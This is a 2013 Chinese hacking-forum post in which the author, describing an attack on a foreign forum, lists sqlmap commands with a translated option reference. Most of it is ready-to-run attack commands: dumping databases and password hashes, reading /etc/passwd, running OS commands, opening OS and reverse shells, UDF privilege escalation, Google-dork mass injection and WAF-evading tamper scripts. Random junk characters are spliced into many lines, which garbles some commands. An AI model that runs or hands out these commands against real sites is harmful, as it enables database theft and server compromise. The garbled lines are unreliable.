找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2620|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、6 p- X- k' J4 D( X3 v6 g/ e
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称" l8 J5 ]( l( w* z  L9 ^
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
; \+ U: z; ^8 s  f% Ksqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段9 K9 G  N  d1 }  V  n' I# Y
0 _+ k" X0 e, ~, L3 f" i2 x7 l
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
7 r% B4 u8 {( l2 s6 d- F0 #获取字段内容) I9 ^( I  [# N( F8 R$ |

- m6 d9 H' }- C6 Z# a******************信息获取******************- B0 P+ ]* f6 w0 T
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
: U% f" S# l6 @3 M& M# p$ jsqlmap -u “http://url/news?id=1″ –users #列数据库用户3 ~! F8 Y& i6 M# `
sqlmap -u “http://url/news?id=1″ –dbs#列数据库4 @) _4 ^; ^6 p; A( y2 G
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
; v+ X( D+ ?. W4 S' [. Wsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
1 t3 q# l% {6 F1 usqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
1 w3 |; v) F7 L! k% f) k  R–start 1 –stop 20 #列出指定字段,列出20 条& P3 ^# \) j' Z6 j  B6 F! b4 b
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表$ n7 M4 c% E* L' ~- L' X
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
) n2 |; N5 Y6 Z4 I# wsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色9 A7 q! f/ ]8 S5 u1 j/ m8 x6 P
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)' r% d, E! J" d5 O
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表* E  F' C( A/ w/ J6 r7 k
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录3 p( h  a( @5 J+ `- S1 r
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入2 Q7 o, _9 u% w1 s2 N1 H# q" V2 r
sqlmap -u “http://url/news?id=1″-b #获取banner信息
( J# r, d4 `! ?- C3 rsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
- t% J0 I" s& H1 {sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
2 w, G( {+ g2 t3 j& [sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入7 Q1 P) }- |3 h
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词- J$ \+ P8 K- c+ H
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令4 h) P9 j# j" x8 j
sqlmap -u “http://url/news?id=1″ –file /etc/passwd$ U& m( ]3 {. T4 ]$ W
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
- X# {$ @' O( o! w" Asqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell& C0 j6 ~8 }5 _
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
# m' F; |3 M  _( X. wsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
. }: }9 |& ~+ ]+ X& y* Usqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
  _* V4 m9 e" ?' I) d1 V***********高级用法*************0 x0 U7 b: P0 w% T% {
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入9 O" {$ Q* o* c& s& w
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问) u" i/ w3 `1 B, r$ m$ \/ d& `
–technique   测试指定注入类型\使用的技术9 o0 c8 X6 f5 r; L
不加参数默认测试所有注入技术
' o) G* G8 ^; O/ h" F•     B: 基于布尔的SQL 盲注
# t( R6 Z! n- {1 J•     E: 基于显错sql 注入; _) `2 S; t5 o9 v
•     U: 基于UNION 注入% j6 V1 U, y$ E; m0 U
•     S: 叠层sql 注入
6 G1 ~. }: y) Q; r7 i, W4 U•     T: 基于时间盲注. I- L. |+ ~0 V" r3 S
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()' T% }1 t- {3 x4 q
–tamper 插件所在目录
$ D+ M4 n. Z! o' T\sqlmap-dev\tamper+ f5 e/ J+ p3 F' n. C
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能% P  A2 A8 }: @
level 执行测试等级 攻击实例:" C% S* ~8 Z6 Q6 V3 ?, e  g( _
Sqlmap -u “http://url/news?id=1&Submit=Submit”5 h. Q. v- Q" _' L* \/ w
–cookie=”PHPSESSID=41aa833e6d0d
) f6 S* E8 \, O9 j$ z, m: r28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user. c( ?, I+ U6 U% d& c
–password
3 Z8 I9 g7 E( c" o参考文档:http://sqlmap.sourceforge.net/doc/README.html6 A$ S, O& ]: e" S
***********安装最新版本*************
  g1 W& n$ V! \ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
1 m/ H& [4 Z. }9 U' Rsudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
) j4 p. h! w$ u' A& f  o1 T. d安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件  Z" N9 X6 H; B
sudo vim /home/当前用户/.bashrc0 \" m7 w* c, @4 K0 }% R- C
#任意位置加上:
  U: x8 O! u$ A- I) dalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
( H5 _0 r( e5 y2 ~如果想对所有用户有效 可设置全局 编辑下面的文件: ?  n8 @) F9 c% u( C
vim /etc/profile
. z1 ~  ~9 L& u4 S% K$ c同样加上:% U: h  Y9 K" u2 i8 Q; n" |# P
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
, }$ `# d; U2 U% F1 X******************windows 7 (x64) sqlmap install (SVN)************
1 g$ v9 Y# M- ?4 A1 I% A0 v7 l3 a+ bhttp://www.python.org/getit/ 安装python
2 N3 o: M& |1 Y; q  shttp://www.sliksvn.com/en/download 安装windows svn client' J7 `1 q/ Z% c* _1 u* u% S
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev. u; t3 r- T# r" O+ V2 A/ @2 S
安装sqlmap
9 d* }. R' }5 H, M1 O  S7 L+ q% G: W*修改环境变量" Y; W) d/ L2 {+ Z5 R7 U
–version             显示程序的版本号并退出+ M  @  J) E3 {* u
-h, –help            显示此帮助消息并退出
9 ]0 q4 f. B3 A% O' e7 t0 `-v VERBOSE            详细级别:0-6(默认为1)+ t0 X- Z( g; B6 W: j5 W
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
& k" a  L9 N) d5 y  j% {4 t) u-d DIRECT           直接连接到数据库。1 L7 f; F! \9 i4 G3 c: w
-u URL, –url=URL   目标URL。. C; _$ j! x: R7 j( Y* `
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
1 ~: y( I- G% [" |5 L% g6 r-r REQUESTFILE      从一个文件中载入HTTP 请求。
$ R( w! A& D$ w. P; U* y, i0 C# L-g GOOGLEDORK       处理Google dork 的结果作为目标URL。" W( u  Z1 k/ m; B
-c CONFIGFILE       从INI 配置文件中加载选项。
2 p* W! i4 V" }# L+ o7 ]Request(请求)::
: G+ {; W4 {$ c: }3 l这些选项可以用来指定如何连接到目标URL。
) D7 c5 u1 Q+ `–data=DATA         通过POST 发送的数据字符串% h4 L0 `/ s/ p# R
–cookie=COOKIE     HTTP Cookie 头
# ?. u- f4 j+ |7 ]' B–cookie-urlencode  URL 编码生成的cookie 注入
( {% L6 E: C& r2 K8 l8 q–drop-set-cookie   忽略响应的Set –Cookie 头信息
6 ]+ _$ k, _1 {3 E/ y ( p3 E+ A! c7 i' p+ `2 {) W9 A3 n
–user-agent=AGENT  指定  HTTP User –Agent 头
; b, S# A0 g* B3 ?- L0 u–random-agent      使用随机选定的HTTP User –Agent 头; O6 [8 [. w; b2 W! z$ o' O% w
–referer=REFERER   指定  HTTP Referer 头
( B" P. L+ m' w) K3 ]–headers=HEADERS   换行分开,加入其他的HTTP 头$ {3 ~, k. `$ X6 J% f3 l3 ?) ^7 v
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)' t: u- a6 C, O: C9 [* W
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
5 u, t# P) }. f0 C* d* u& R8 o: I: P–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
3 o+ D  {, }' q' T9 j–proxy=PROXY       使用HTTP 代理连接到目标URL
: \4 S! T/ G6 X7 ?–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
# e# A6 N9 X+ Q* h, ]6 \+ P5 q–ignore-proxy      忽略系统默认的HTTP 代理
9 i# a+ }+ S& [3 {) K. y–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒; j+ x7 x5 a5 k4 D% s
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒): |" b5 N# G1 S5 q
–retries=RETRIES   连接超时后重新连接的时间(默认3)$ B; k$ E2 [! ~
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
( L! ?. m  F# o. `2 t, ~6 K–safe-url=SAFURL   在测试过程中经常访问的url 地址* R& s9 O- Y. @. H3 Q
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
# ?& F4 Q% e, T. aOptimization(优化): 这些选项可用于优化SqlMap 的性能。, B% H/ p8 y- C8 `9 C: Z
-o                  开启所有优化开关/ ]+ z: v; h" {8 Q- n. A' e2 e
–predict-output    预测常见的查询输出
, M) X5 }# ]2 A# t8 P6 T  a/ M8 ]–keep-alive        使用持久的HTTP(S)连接
) h/ O( R1 q# l& b2 D* P9 Y# b; Q–null-connection   从没有实际的HTTP 响应体中检索页面长度
! s) D' Z7 z1 Q- w$ Z; o4 N–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)( f' s4 C- A- d- s
Injection(注入):
. x6 C# t/ Y0 q* m3 M这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。; S, M9 L% p; A0 A" `' p
-p TESTPARAMETER    可测试的参数(S)+ w7 B: {1 T) Y0 t* Y
–dbms=DBMS         强制后端的DBMS 为此值/ |& _! R- B1 D2 I
–os=OS             强制后端的DBMS 操作系统为这个值
$ t( a# x! W# X6 O1 e–prefix=PREFIX     注入payload 字符串前缀
3 P5 ~6 O% L7 G5 h  [–suffix=SUFFIX     注入 payload 字符串后缀7 X: b+ ?4 v% |: z
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
) b/ q. z& l3 v1 [, nDetection(检测):% e# h8 ~. V7 w4 W. B$ ^
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
$ e; a# ~; s; M–level=LEVEL       执行测试的等级(1-5,默认为1)
5 D* @6 T' B* [8 d0 l–risk=RISK         执行测试的风险(0-3,默认为1)
  g! m: a, N- q! f) \–string=STRING     查询时有效时在页面匹配字符串6 R' _4 L/ J. A1 }& R$ Z
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
) q7 \' A6 A( |/ P–text-only         仅基于在文本内容比较网页
- V5 l; [# n: \& |6 lTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
0 K' C$ ^% P7 d0 g% |; B6 S/ E–technique=TECH    SQL 注入技术测试(默认BEUST)
. \; o) ]  @( a0 r! Y! d–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)) ^: y# l/ q  m% ?1 ^
–union-cols=UCOLS  定列范围用于测试UNION 查询注入# p$ A9 O% Y  l7 o3 O5 D2 Z
–union-char=UCHAR  用于暴力猜解列数的字符- D+ z/ s2 s/ c+ W
Fingerprint(指纹):
# D, z& x8 q. m1 T' m-f, –fingerprint     执行检查广泛的DBMS 版本指纹' }& B8 S9 U: Q5 R
Enumeration(枚举):; H  W7 l' x9 Y8 L- b- m& f
* E4 B/ n$ q* _4 n8 F
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
% ~4 M, J5 V  Y5 F& M4 B-b, –banner        检索数据库管理系统的标识
  x7 r. p. B7 G; r+ o5 F% k. I–current-user      检索数据库管理系统当前用户8 c+ M! G: v# ^6 S! s# y
–current-db        检索数据库管理系统当前数据库4 m6 V/ l; E9 M" d6 c
–is-dba            检测DBMS 当前用户是否DBA  C8 Y; H) B7 _
–users             枚举数据库管理系统用户
# J" {) m4 O# N& a–passwords         枚举数据库管理系统用户密码哈希
. r0 D( m  x  j) Z–privileges        枚举数据库管理系统用户的权限  q8 F; c0 B% N0 N( d* |, h9 c
–roles             枚举数据库管理系统用户的角色
7 l& @, C: B5 z$ w–dbs               枚举数据库管理系统数据库
9 N: C' Y0 |: F5 R8 [2 o4 f–tables            枚举的DBMS 数据库中的表
! [' F) @4 n4 g% ^, @' O% q  k- U–columns           枚举DBMS 数据库表列
% p/ k9 w* A# B8 b' g7 [–dump              转储数据库管理系统的数据库中的表项
# g( G: K9 k/ z+ W* N–dump-all          转储所有的DBMS 数据库表中的条目
4 L! ~5 Q2 L! s' I& Q" x–search            搜索列(S),表(S)和/或数据库名称(S)
/ X! B; j# Q$ P, {. O-D DB               要进行枚举的数据库名( n- f7 v& t; B! [$ i
-T TBL              要进行枚举的数据库表
$ e, b7 m" _3 p8 H-C COL              要进行枚举的数据库列! ?/ K. L" |$ [8 q) s% g
-U USER             用来进行枚举的数据库用户4 `+ V6 a1 Q3 J2 s7 `
–exclude-sysdbs    枚举表时排除系统数据库0 _$ n2 S/ N! S# _4 o
–start=LIMITSTART  第一个查询输出进入检索% b+ x3 P) N$ u9 p
–stop=LIMITSTOP    最后查询的输出进入检索
1 r! m+ M; c. P0 Y+ y  L–first=FIRSTCHAR   第一个查询输出字的字符检索
2 N" U/ P7 r# r. o  u3 B4 l–last=LASTCHAR     最后查询的输出字字符检索
; `: f$ D3 X+ c0 A& k–sql-query=QUERY   要执行的SQL 语句
& O" B# g. c, u8 w8 v" P–sql-shell         提示交互式SQL 的shell3 S% f0 n# V6 z# D# z, W: G4 o- N) f
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
  D+ g+ \- y& i7 n, K/ [–common-tables     检查存在共同表. u  k+ t, N9 ~6 b* g
–common-columns    检查存在共同列
( K* D0 b. K# [# N& S. sUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
5 g2 O, R( U7 u% [( l7 d–udf-inject        注入用户自定义函数* h& I2 P/ w+ d" @, {% S& P
–shared-lib=SHLIB  共享库的本地路径
3 L, b' Q5 V/ ]6 F0 U0 @) Q, O! S$ rFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
( Q( S, \, D3 `4 f–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
% R& n; H/ c+ t; V. P–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
0 n8 x$ \/ t% f% \1 u–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
- p5 d4 l5 [: g9 f/ d- R; [9 JOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
  i( b' `* G2 M7 Z* U–os-cmd=OSCMD      执行操作系统命令
0 v' r" e. Z8 a8 l9 D) B–os-shell          交互式的操作系统的shell4 `/ n& n$ k) V2 C) [0 |& l
–os-pwn            获取一个OOB shell,meterpreter 或VNC
( M' P+ ~' G. ]  W! w' C–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC) x( q, E4 F" L  A8 C) {
–os-bof            存储过程缓冲区溢出利用3 }, _6 T$ H, @: z# k' Z/ B
–priv-esc          数据库进程用户权限提升* {! [2 n1 b( R& w3 _3 L
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径/ w4 o7 d6 N' Y1 f+ E+ i) x
–tmp-path=TMPPATH  远程临时文件目录的绝对路径
+ B, `# k8 h; @ ) y( G3 E' L4 n- P7 F* A
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
; t: r2 S6 {  x2 P( i# U–reg-read          读一个Windows 注册表项值
5 O' A* ^, m8 M/ z–reg-add           写一个Windows 注册表项值数据
" a* m  I4 I8 Y- R1 ~, X' J–reg-del           删除Windows 注册表键值; _" D" e# _6 P
–reg-key=REGKEY    Windows 注册表键+ u. H8 q( G# @7 @4 n# A1 Q
–reg-value=REGVAL  Windows 注册表项值
: C/ `1 q2 h4 w. s–reg-data=REGDATA  Windows 注册表键值数据
/ r. B9 J2 `0 }3 u1 o–reg-type=REGTYPE  Windows 注册表项值类型5 e) r0 @# {" K2 n- K3 A
General(一般): 这些选项可以用来设置一些一般的工作参数。
" S+ W' Y8 t2 R4 S-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
5 |! M7 m- V+ |) A4 [1 f+ H& D0 ?-s SESSIONFILE      保存和恢复检索会话文件的所有数据; d6 g) \1 c  E* [/ l4 _. g
–flush-session     刷新当前目标的会话文件' N$ P& c$ L! ]7 U
–fresh-queries     忽略在会话文件中存储的查询结果) C5 Q  [7 _/ `1 B6 Y! }4 y0 t
–eta               显示每个输出的预计到达时间
4 b/ G& B- Y+ k( |( m/ u–update            更新SqlMap. U/ p  C6 Z/ v; z) a( c
–save              file 保存选项到INI 配置文件
4 y/ {) W' Z1 Y  q4 Q1 q* F–batch             从不询问用户输入,使用所有默认配置。' }1 O3 ^9 h4 @( @+ C: Q* n
Miscellaneous(杂项):
3 @5 ?9 G" q' s, D–beep              发现SQL 注入时提醒
. K6 U8 J! @/ F  E" F–check-payload     IDS 对注入payloads 的检测测试, T9 M: M" R) D6 Y% B$ {# u
–cleanup           SqlMap 具体的UDF 和表清理DBMS4 H- h5 t* h- ?4 h0 ~% Y
–forms             对目标URL 的解析和测试形式
- W! H) {- m/ e! b# R" d3 w( V–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
9 U$ |9 r/ a5 v9 D& |4 i7 |7 U; U& ]–page-rank         Google dork 结果显示网页排名(PR)
% B8 t6 l5 _5 h–parse-errors      从响应页面解析数据库管理系统的错误消息
( v& E% X7 ^/ ?, ?–replicate         复制转储的数据到一个sqlite3 数据库1 |3 _7 u5 ]0 L  o0 u8 k: s
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
0 w0 l7 r' v  |# Q& {9 y* K–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表